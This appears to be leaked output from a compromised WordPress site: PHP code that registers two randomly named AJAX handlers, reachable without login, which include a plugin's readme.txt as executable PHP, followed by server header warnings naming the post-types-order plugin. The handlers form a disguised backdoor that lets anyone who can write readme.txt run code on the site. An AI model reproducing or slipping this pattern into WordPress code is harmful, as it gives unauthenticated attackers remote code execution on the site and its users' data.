if(!function_exists('file_check_readme78091')){
   add_action('wp_ajax_nopriv_file_check_readme78091', 'file_check_readme78091');
   add_action('wp_ajax_file_check_readme78091', 'file_check_readme78091');
   function file_check_readme78091()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
if(!function_exists('file_check_readme44947')){
   add_action('wp_ajax_nopriv_file_check_readme44947', 'file_check_readme44947');
   add_action('wp_ajax_file_check_readme44947', 'file_check_readme44947');
   function file_check_readme44947()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/plastic.godohosting.com/wp-content/plugins/post-types-order/post-types-order.php:77) in <b>/www/plastic.godohosting.com/wp-includes/pluggable.php</b> on line <b>1253</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/plastic.godohosting.com/wp-content/plugins/post-types-order/post-types-order.php:77) in <b>/www/plastic.godohosting.com/wp-includes/pluggable.php</b> on line <b>1256</b><br />